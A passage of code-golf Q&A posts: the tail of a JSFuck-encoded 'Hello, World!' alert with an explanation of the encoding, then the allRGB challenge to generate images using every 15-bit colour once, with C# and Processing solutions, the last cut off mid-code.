)[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]+([][(!![]+[])[!![]+!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([![]]+[][[]])[+!![]+[+[]]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]]()+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[+!![]])()(!![])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]]((![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(![]+[])[+[]])())[+!![]+[+!![]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]+(![]+[])[!![]+!![]]+([][[]]+[])[!![]+!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]+(![]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][(!![]+[])[!![]+!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([![]]+[][[]])[+!![]+[+[]]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]]()+[])[!![]+!![]])()((+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[+[]]+![])[+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[+!![]+[+[]]]+(!![]+[])[+!![]]]()[+!![]+[!![]+!![]]]+(+[]+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+[+[]]]))() ``` For those unfamiliar with JSFuck, it's about writing JavaScript as if there were only six characters, and it can get pretty crazy at times. This table shows how the characters used in the *Hello, World!* program are encoded in JSFuck. The plain text code is just `alert("Hello, World!")`. ``` +----------+--------------------------------------+---------------------------+ |JavaScript| write as | JSFuck | +----------+--------------------------------------+---------------------------+ | a | (false+[])[1] | (![]+[])[+!![]] | | l | (false+[])[2] | (![]+[])[!![]+!![]] | | e | (true+[])[3] | (!![]+[])[!![]+!![]+!![]] | | r | (true+[])[1] | (!![]+[])[+!![]] | | t | (true+[])[0] | (!![]+[])[+[]] | | ( | ([]+[]["fill"])[13] | 114 bytes | | " | ([]+[])["fontcolor"]()[12] | 539 bytes | | H | btoa(true)[1] | 1187 bytes | | o | (true+[]["fill"])[10] | 105 bytes | | space | ([]["fill"]+[])[20] | 107 bytes | | W | (NaN+self())[11] | 968 bytes | | d | (undefined+[])[2] | ([][[]]+[])[!![]+!![]] | | ! | atob((Infinity+[])[0]+false)[0] | 1255 bytes | | ) | (0+[false]+[]["fill"])[20] | 114 bytes | +----------+--------------------------------------+---------------------------+ ``` Here the strings `"fill"`, `"fontcolor"`, etc. must be written as `"f"+"i"+"l"+"l"`, `"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"` to be encoded. The global identifiers `self`, `atob` and `btoa` get written like `Function("return self")()`. `Function` itself should be `[]["fill"]["constructor"]`. The comma `","` is tricky, I'm not 100% sure how it works but it uses the `[]["concat"]` function to create an array. I'll post an update when I have time to do more tests. --- I encoded this using JScrewIt - credits to [GOTO 0](https://codegolf.stackexchange.com/users/12474/goto-0) for creating such a sophisticated tool: * Open Firefox *(You can choose any other browser(s), but Firefox only code is the shortest.)* * Navigate to **JScrewIt**: <http://jscrew.it> * **Input:** `alert("Hello, World!")` * **Executable code:** checked * **Compatibility:** Only this browser This differs from my answer to [this question](https://codegolf.stackexchange.com/questions/17950/jsfuck-golf-hello-world) for the presence of the comma after "Hello". Interestingly, the ES6 syntax ``` alert`Hello, World!` ``` takes even more bytes to encode (+1500 or so) because of the higher complexity of encoding two backticks rather than `("` and `")`. ]
[Question] [ Similar to the images on [allrgb.com](http://allrgb.com/), make images where each pixel is a unique color (no color is used twice and no color is missing). Give a program that generates such an image, along with a screenshot or file of the output (upload as PNG). * Create the image purely algorithmically. * Image must be 256×128 (or grid that can be screenshot and saved at 256×128) * Use all 15-bit colors\* * No external input allowed (also no web queries, URLs or databases) * No embedded images allowed (source code which is an image is fine, *e.g.* [Piet](http://esolangs.org/wiki/Piet)) * Dithering is allowed * This is not a short code contest, although it might win you votes. * If you're really up for a challenge, do 512×512, 2048×1024 or 4096×4096 (in increments of 3 bits). **Scoring is by vote.** Vote for the most beautiful images made by the most elegant code and/or interesting algorithm. Two-step algorithms, where you first generate a nice image and then fit all pixels to one of the available colors, are of course allowed, but won't win you elegance points. \* 15-bit colors are the 32768 colors that can be made by mixing 32 reds, 32 greens, and 32 blues, all in equidistant steps and equal ranges. Example: in 24 bits images (8 bit per channel), the range per channel is 0..255 (or 0..224), so divide it up into 32 equally spaced shades. To be very clear, the array of image pixels should be a permutation, because all possible images have the same colors, just at different pixels locations. I'll give a trivial permutation here, which isn't beautiful at all: ## Java 7 ``` import java.awt.image.BufferedImage; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import javax.imageio.ImageIO; public class FifteenBitColors { public static void main(String[] args) { BufferedImage img = new BufferedImage(256, 128, BufferedImage.TYPE_INT_RGB); // Generate algorithmically. for (int i = 0; i < 32768; i++) { int x = i & 255; int y = i / 256; int r = i << 3 & 0xF8; int g = i >> 2 & 0xF8; int b = i >> 7 & 0xF8; img.setRGB(x, y, (r << 8 | g) << 8 | b); } // Save. try (OutputStream out = new BufferedOutputStream(new FileOutputStream("RGB15.png"))) { ImageIO.write(img, "png", out); } catch (IOException e) { e.printStackTrace(); } } } ``` ![enter image description here](https://i.stack.imgur.com/B4e5u.png) ## Winner Because the 7 days are over, I'm declaring a winner However, by no means, think this is over. I, and all readers, always welcome more awesome designs. Don't stop creating. Winner: **fejesjoco** with 231 votes [Answer] # C# I put a random pixel in the middle, and then start putting random pixels in a neighborhood that most resembles them. Two modes are supported: with minimum selection, only one neighboring pixel is considered at a time; with average selection, all (1..8) are averaged. Minimum selection is somewhat noisy, average selection is of course more blurred, but both look like paintings actually. After some editing, here is the current, somewhat optimized version (it even uses parallel processing!): ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; using System.Drawing.Imaging; using System.Diagnostics; using System.IO; class Program { // algorithm settings, feel free to mess with it const bool AVERAGE = false; const int NUMCOLORS = 32; const int WIDTH = 256; const int HEIGHT = 128; const int STARTX = 128; const int STARTY = 64; // represent a coordinate struct XY { public int x, y; public XY(int x, int y) { this.x = x; this.y = y; } public override int GetHashCode() { return x ^ y; } public override bool Equals(object obj) { var that = (XY)obj; return this.x == that.x && this.y == that.y; } } // gets the difference between two colors static int coldiff(Color c1, Color c2) { var r = c1.R - c2.R; var g = c1.G - c2.G; var b = c1.B - c2.B; return r * r + g * g + b * b; } // gets the neighbors (3..8) of the given coordinate static List<XY> getneighbors(XY xy) { var ret = new List<XY>(8); for (var dy = -1; dy <= 1; dy++) { if (xy.y + dy == -1 || xy.y + dy == HEIGHT) continue; for (var dx = -1; dx <= 1; dx++) { if (xy.x + dx == -1 || xy.x + dx == WIDTH) continue; ret.Add(new XY(xy.x + dx, xy.y + dy)); } } return ret; } // calculates how well a color fits at the given coordinates static int calcdiff(Color[,] pixels, XY xy, Color c) { // get the diffs for each neighbor separately var diffs = new List<int>(8); foreach (var nxy in getneighbors(xy)) { var nc = pixels[nxy.y, nxy.x]; if (!nc.IsEmpty) diffs.Add(coldiff(nc, c)); } // average or minimum selection if (AVERAGE) return (int)diffs.Average(); else return diffs.Min(); } static void Main(string[] args) { // create every color once and randomize the order var colors = new List<Color>(); for (var r = 0; r < NUMCOLORS; r++) for (var g = 0; g < NUMCOLORS; g++) for (var b = 0; b < NUMCOLORS; b++) colors.Add(Color.FromArgb(r * 255 / (NUMCOLORS - 1), g * 255 / (NUMCOLORS - 1), b * 255 / (NUMCOLORS - 1))); var rnd = new Random(); colors.Sort(new Comparison<Color>((c1, c2) => rnd.Next(3) - 1)); // temporary place where we work (faster than all that many GetPixel calls) var pixels = new Color[HEIGHT, WIDTH]; Trace.Assert(pixels.Length == colors.Count); // constantly changing list of available coordinates (empty pixels which have non-empty neighbors) var available = new HashSet<XY>(); // calculate the checkpoints in advance var checkpoints = Enumerable.Range(1, 10).ToDictionary(i => i * colors.Count / 10 - 1, i => i - 1); // loop through all colors that we want to place for (var i = 0; i < colors.Count; i++) { if (i % 256 == 0) Console.WriteLine("{0:P}, queue size {1}", (double)i / WIDTH / HEIGHT, available.Count); XY bestxy; if (available.Count == 0) { // use the starting point bestxy = new XY(STARTX, STARTY); } else { // find the best place from the list of available coordinates // uses parallel processing, this is the most expensive step bestxy = available.AsParallel().OrderBy(xy => calcdiff(pixels, xy, colors[i])).First(); } // put the pixel where it belongs Trace.Assert(pixels[bestxy.y, bestxy.x].IsEmpty); pixels[bestxy.y, bestxy.x] = colors[i]; // adjust the available list available.Remove(bestxy); foreach (var nxy in getneighbors(bestxy)) if (pixels[nxy.y, nxy.x].IsEmpty) available.Add(nxy); // save a checkpoint int chkidx; if (checkpoints.TryGetValue(i, out chkidx)) { var img = new Bitmap(WIDTH, HEIGHT, PixelFormat.Format24bppRgb); for (var y = 0; y < HEIGHT; y++) { for (var x = 0; x < WIDTH; x++) { img.SetPixel(x, y, pixels[y, x]); } } img.Save("result" + chkidx + ".png"); } } Trace.Assert(available.Count == 0); } } ``` 256x128 pixels, starting in the middle, minimum selection: ![](https://i.stack.imgur.com/huHP9.png) ![](https://i.stack.imgur.com/uB9cK.png) 256x128 pixels, starting in the top left corner, minimum selection: ![](https://i.stack.imgur.com/QFZgD.png) 256x128 pixels, starting in the middle, average selection: ![](https://i.stack.imgur.com/EB9xk.png) ![](https://i.stack.imgur.com/IqPnN.png) Here are two 10-frame animgifs that show how minimum and average selection works (kudos to the gif format for being able to display it with 256 colors only): ![](https://i.stack.imgur.com/uuQ4z.gif) ![](https://i.stack.imgur.com/fSLeC.gif) The mimimum selection mode grows with a small wavefront, like a blob, filling all pixels as it goes. In the average mode, however, when two different colored branches start growing next to each other, there will be a small black gap because nothing will be close enough to two different colors. Because of those gaps, the wavefront will be an order of magnitude larger, therefore the algorithm will be so much slower. But it's nice because it looks like a growing coral. If I would drop the average mode, it could be made a bit faster because each new color is compared to each existing pixel about 2-3 times. I see no other ways to optimize it, I think it's good enough as it is. And the big attraction, here's an 512x512 pixels rendering, middle start, minimum selection: ![](https://i.stack.imgur.com/MlIL8.png) I just can't stop playing with this! In the above code, the colors are sorted randomly. If we don't sort at all, or sort by hue (`(c1, c2) => c1.GetHue().CompareTo(c2.GetHue())`), we get these, respectively (both middle start and minimum selection): ![](https://i.stack.imgur.com/tVeGg.png) ![](https://i.stack.imgur.com/kBbUv.png) Another combination, where the coral form is kept until the end: hue ordered with average selection, with a 30-frame animgif: ![](https://i.stack.imgur.com/8XrOG.png) ![](https://i.stack.imgur.com/GE6Ut.gif) # UPDATE: IT IS READY!!! You wanted hi-res, I wanted hi-res, you were impatient, I barely slept. Now I'm excited to announce that it's finally ready, production quality. And I am releasing it with a big bang, an awesome 1080p YouTube video! [Click here for the video](https://www.youtube.com/watch?v=OuvFsB4SLhA), let's make it viral to promote the geek style. I'm also posting stuff on my blog at <http://joco.name/>, there will be a technical post about all the interesting details, the optimizations, how I made the video, etc. And finally, I am [sharing the source code](https://code.google.com/archive/p/joco-tools/source) under GPL. It's become huge so a proper hosting is the best place for this, I will not edit the above part of my answer anymore. Be sure to compile in release mode! The program scales well to many CPU cores. A 4Kx4K render requires about 2-3 GB RAM. I can now render huge images in 5-10 hours. I already have some 4Kx4K renders, I will post them later. The program has advanced a lot, there have been countless optimizations. I also made it user friendly so that anyone can easily use it, it has a nice command line. The program is also deterministically random, which means, you can use a random seed and it will generate the same image every time. Here are some big renders. My favorite 512: [![](https://i.stack.imgur.com/M6mB8.png)](http://joco.name/wp-content/uploads/2014/03/rgb_512_3.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_512_3-150x150.png)) The 2048's which appear in my [video](https://www.youtube.com/watch?v=OuvFsB4SLhA): [![](https://i.stack.imgur.com/2J5fZ.png)](http://joco.name/wp-content/uploads/2014/03/rgb_2048_1.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_2048_1-150x75.png)) [![](https://i.stack.imgur.com/IcqRp.png)](http://joco.name/wp-content/uploads/2014/03/rgb_2048_2.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_2048_2-150x75.png)) [![](https://i.stack.imgur.com/oY4YF.png)](http://joco.name/wp-content/uploads/2014/03/rgb_2048_3.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_2048_3-150x75.png)) [![](https://i.stack.imgur.com/pRlWt.png)](http://joco.name/wp-content/uploads/2014/03/rgb_2048_4.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_2048_4-150x75.png)) The first 4096 renders (TODO: they are being uploaded, and my website cannot handle the big traffic, so they are temporarily relocated): [![](https://i.stack.imgur.com/xEoPV.png)](https://i.stack.imgur.com/xEoPV.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_4096_1-150x150.png)) [![](https://i.stack.imgur.com/bjax5.png)](https://i.stack.imgur.com/bjax5.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_4096_2-150x150.png)) [![](https://i.stack.imgur.com/0n8bv.png)](https://i.stack.imgur.com/0n8bv.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_4096_3-150x150.png)) [![](https://i.stack.imgur.com/hZIGS.png)](https://i.stack.imgur.com/hZIGS.png) (source: [joco.name](http://joco.name/wp-content/uploads/2014/03/rgb_4096_4-150x150.png)) [Answer] # Processing **Update!** 4096x4096 images! I've merged my second post into this one by combining the two programs together. **A full collection of selected images can be found [here, on Dropbox](https://www.dropbox.com/sh/hza6e3m77b0bedc/fL9B6o_NV4).** (Note: DropBox can't generate previews for the 4096x4096 images; just click them then click "Download"). If you only look at one [look at this one](https://www.dropbox.com/s/j5a9d4v1zkqgyn5/bigtile_128.png) (tileable)! Here it is scaled down (and many more below), original 2048x1024: ![enter image description here](https://i.stack.imgur.com/er15O.jpg) This program works by walking paths from randomly selected points in the color cube, then drawing them into randomly selected paths in the image. There are a lot of possibilities. Configurable options are: * Maximum length of color cube path. * Maximum step to take through color cube (larger values cause larger variance but minimize the number of small paths towards the end when things get tight). * Tiling the image. * There are currently two image path modes: + Mode 1 (the mode of this original post): Finds a block of unused pixels in the image and renders to that block. Blocks can be either randomly located, or ordered from left to right. + Mode 2 (the mode of my second post that I merged into this one): Picks a random start point in the image and walks along a path through unused pixels; can walk around used pixels. Options for this mode: - Set of directions to walk in (orthogonal, diagonal, or both). - Whether or not to change the direction (currently clockwise but code is flexible) after each step, or to only change direction upon encountering an occupied pixel.. - Option to shuffle order of direction changes (instead of clockwise). It works for all sizes up to 4096x4096. The complete Processing sketch can be found here: [Tracer.zip](https://www.dropbox.com/s/62bllk1ye63aob9/Tracer.zip) I've pasted all the files in the same code block below just to save space (even all in one file, it is still a valid sketch). If you want to use one of the presets, change the index in the `gPreset` assignment. If you run this in Processing you can press `r` while it is running to generate a new image. * *Update 1: Optimized code to track first unused color/pixel and not search over known-used pixels; reduced 2048x1024 generation time from 10-30 minutes down to about 15 seconds, and 4096x4096 from 1-3 hours to about 1 minute. Drop box source and source below updated.* * *Update 2: Fixed bug that was preventing 4096x4096 images from being generated.* ``` final int BITS = 5; // Set to 5, 6, 7, or 8! // Preset (String name, int colorBits, int maxCubePath, int maxCubeStep, int imageMode, int imageOpts) final Preset[] PRESETS = new Preset[] { // 0 new Preset("flowers", BITS, 8*32*32, 2, ImageRect.MODE2, ImageRect.ALL_CW | ImageRect.CHANGE_DIRS), new Preset("diamonds", BITS, 2*32*32, 2, ImageRect.MODE2, ImageRect.ORTHO_CW | ImageRect.CHANGE_DIRS), new Preset("diamondtile", BITS, 2*32*32, 2, ImageRect.MODE2, ImageRect.ORTHO_CW | ImageRect.CHANGE_DIRS | ImageRect.WRAP), new Preset("shards", BITS, 2*32*32, 2, ImageRect.MODE2, ImageRect.ALL_CW | ImageRect.CHANGE_DIRS | ImageRect.SHUFFLE_DIRS), new Preset("bigdiamonds", BITS, 100000, 6, ImageRect.MODE2, ImageRect.ORTHO_CW | ImageRect.CHANGE_DIRS), // 5 new Preset("bigtile", BITS, 100000, 6, ImageRect.MODE2, ImageRect.ORTHO_CW | ImageRect.CHANGE_DIRS | ImageRect.WRAP), new Preset("boxes", BITS, 32*32, 2, ImageRect.MODE2, ImageRect.ORTHO_CW), new Preset("giftwrap", BITS, 32*32, 2, ImageRect.MODE2, ImageRect.ORTHO_CW | ImageRect.WRAP), new Preset("diagover", BITS, 32*32, 2, ImageRect.MODE2, ImageRect.DIAG_CW), new Preset("boxfade", BITS, 32*32, 2, ImageRect.MODE2, ImageRect.DIAG_CW | ImageRect.CHANGE_DIRS), // 10 new Preset("randlimit", BITS, 512, 2, ImageRect.MODE1, ImageRect.RANDOM_BLOCKS), new Preset("ordlimit", BITS, 64, 2, ImageRect.MODE1, 0), new Preset("randtile", BITS, 2048, 3, ImageRect.MODE1, ImageRect.RANDOM_BLOCKS | ImageRect.WRAP), new Preset("randnolimit", BITS, 1000000, 1, ImageRect.MODE1, ImageRect.RANDOM_BLOCKS), new Preset("ordnolimit", BITS, 1000000, 1, ImageRect.MODE1, 0) }; PGraphics gFrameBuffer; Preset gPreset = PRESETS[2]; void generate () { ColorCube cube = gPreset.createCube(); ImageRect image = gPreset.createImage(); gFrameBuffer = createGraphics(gPreset.getWidth(), gPreset.getHeight(), JAVA2D); gFrameBuffer.noSmooth(); gFrameBuffer.beginDraw(); while (!cube.isExhausted()) image.drawPath(cube.nextPath(), gFrameBuffer); gFrameBuffer.endDraw(); if (gPreset.getName() != null) gFrameBuffer.save(gPreset.getName() + "_" + gPreset.getCubeSize() + ".png"); //image.verifyExhausted(); //cube.verifyExhausted(); } void setup () { size(gPreset.getDisplayWidth(), gPreset.getDisplayHeight()); noSmooth(); generate(); } void keyPressed () { if (key == 'r' || key == 'R') generate(); } boolean autogen = false; int autop = 0; int autob = 5; void draw () { if (autogen) { gPreset = new Preset(PRESETS[autop], autob); generate(); if ((++ autop) >= PRESETS.length) { autop = 0; if ((++ autob) > 8) autogen = false; } } if (gPreset.isWrapped()) { int hw = width/2; int hh = height/2; image(gFrameBuffer, 0, 0, hw, hh); image(gFrameBuffer, hw, 0, hw, hh); image(gFrameBuffer, 0, hh, hw, hh); image(gFrameBuffer, hw, hh, hw, hh); } else { image(gFrameBuffer, 0, 0, width, height); } } static class ColorStep { final int r, g, b; ColorStep (int rr, int gg, int bb) { r=rr; g=gg; b=bb; } } class ColorCube { final boolean[] used; final int size; final int maxPathLength; final ArrayList<ColorStep> allowedSteps = new ArrayList<ColorStep>(); int remaining; int pathr = -1, pathg, pathb; int firstUnused = 0; ColorCube (int size, int maxPathLength, int maxStep) { this.used = new boolean[size*size*size]; this.remaining = size * size * size; this.size = size; this.maxPathLength = maxPathLength; for (int r = -maxStep; r <= maxStep; ++ r) for (int g = -maxStep; g <= maxStep; ++ g) for (int b = -maxStep; b <= maxStep; ++ b) if (r != 0 && g != 0 && b != 0) allowedSteps.add(new ColorStep(r, g, b)); } boolean isExhausted () { println(remaining); return remaining <= 0; } boolean isUsed (int r, int g, int b) { if (r < 0 || r >= size || g < 0 || g >= size || b < 0 || b >= size) return true; else return used[(r*size+g)*size+b]; } void setUsed (int r, int g, int b) { used[(r*size+g)*size+b] = true; } int nextColor () { if (pathr == -1) { // Need to start a new path. // Limit to 50 attempts at random picks; things get tight near end. for (int n = 0; n < 50 && pathr == -1; ++ n) { int r = (int)random(size); int g = (int)random(size); int b = (int)random(size); if (!isUsed(r, g, b)) { pathr = r; pathg = g; pathb = b; } } // If we didn't find one randomly, just search for one. if (pathr == -1) { final int sizesq = size*size; final int sizemask = size - 1; for (int rgb = firstUnused; rgb < size*size*size; ++ rgb) { pathr = (rgb/sizesq)&sizemask;//(rgb >> 10) & 31; pathg = (rgb/size)&sizemask;//(rgb >> 5) & 31; pathb = rgb&sizemask;//rgb & 31; if (!used[rgb]) { firstUnused = rgb; break; } } } assert(pathr != -1); } else { // Continue moving on existing path. // Find valid next path steps. ArrayList<ColorStep> possibleSteps = new ArrayList<ColorStep>(); for (ColorStep step:allowedSteps) if (!isUsed(pathr+step.r, pathg+step.g, pathb+step.b)) possibleSteps.add(step); // If there are none end this path. if (possibleSteps.isEmpty()) { pathr = -1; return -1; } // Otherwise pick a random step and move there. ColorStep s = possibleSteps.get((int)random(possibleSteps.size())); pathr += s.r; pathg += s.g; pathb += s.b; } setUsed(pathr, pathg, pathb); return 0x00FFFFFF & color(pathr * (256/size), pathg * (256/size), pathb * (256/size)); } ArrayList<Integer> nextPath () { ArrayList<Integer> path = new ArrayList<Integer>(); int rgb; while ((rgb = nextColor()) != -1) { path.add(0xFF000000 | rgb); if (path.size() >= maxPathLength) { pathr = -1; break; } } remaining -= path.size(); //assert(!path.isEmpty()); if (path.isEmpty()) { println("ERROR: empty path."); verifyExhausted(); } return path; } void verifyExhausted () { final int sizesq = size*size; final int sizemask = size - 1; for (int rgb = 0; rgb < size*size*size; ++ rgb) { if (!used[rgb]) { int r = (rgb/sizesq)&sizemask; int g = (rgb/size)&sizemask; int b = rgb&sizemask; println("UNUSED COLOR: " + r + " " + g + " " + b); } } if (remaining != 0) println("REMAINING COLOR COUNT IS OFF: " + remaining); } } static class ImageStep { final int x; final int y; ImageStep (int xx, int yy) { x=xx; y=yy; } } static int nmod (int a, int b) { return (a % b + b) % b; } class ImageRect { // for mode 1: // one of ORTHO_CW, DIAG_CW, ALL_CW // or'd with flags CHANGE_DIRS static final int ORTHO_CW = 0; static final int DIAG_CW = 1; static final int ALL_CW = 2; static final int DIR_MASK = 0x03; static final int CHANGE_DIRS = (1<<5); static final int SHUFFLE_DIRS = (1<<6); // for mode 2: static final int RANDOM_BLOCKS = (1<<0); // for both modes: static final int WRAP = (1<<16); static final int MODE1 = 0; static final int MODE2 = 1; final boolean[] used; final int width; final int height; final boolean changeDir; final int drawMode; final boolean randomBlocks; final boolean wrap; final ArrayList<ImageStep> allowedSteps = new ArrayList<ImageStep>(); // X/Y are tracked instead of index to preserve original unoptimized mode 1 behavior // which does column-major searches instead of row-major. int firstUnusedX = 0; int firstUnusedY = 0; ImageRect (int width, int height, int drawMode, int drawOpts) { boolean myRandomBlocks = false, myChangeDir = false; this.used = new boolean[width*height]; this.width = width; this.height = height; this.drawMode = drawMode; this.wrap = (drawOpts & WRAP) != 0; if (drawMode == MODE1) { myRandomBlocks = (drawOpts & RANDOM_BLOCKS) != 0; } else if (drawMode == MODE2) { myChangeDir = (drawOpts & CHANGE_DIRS) != 0; switch (drawOpts & DIR_MASK) { case ORTHO_CW: allowedSteps.add(new ImageStep(1, 0)); allowedSteps.add(new ImageStep(0, -1)); allowedSteps.add(new ImageStep(-1, 0)); allowedSteps.add(new ImageStep(0, 1)); break; case DIAG_CW: allowedSteps.add(new ImageStep(1, -1)); allowedSteps.add(new ImageStep(-1, -1)); allowedSteps.add(new ImageStep(-1, 1)); allowedSteps.add(new ImageStep(1, 1)); break; case ALL_CW: allowedSteps.add(new ImageStep(1, 0)); allowedSteps.add(new ImageStep(1, -1)); allowedSteps.add(new ImageStep(0, -1)); allowedSteps.add(new ImageStep(-1, -1)); allowedSteps.add(new ImageStep(-1, 0)); allowedSteps.add(new ImageStep(-1, 1)); allowedSteps.add(new ImageStep(0, 1)); 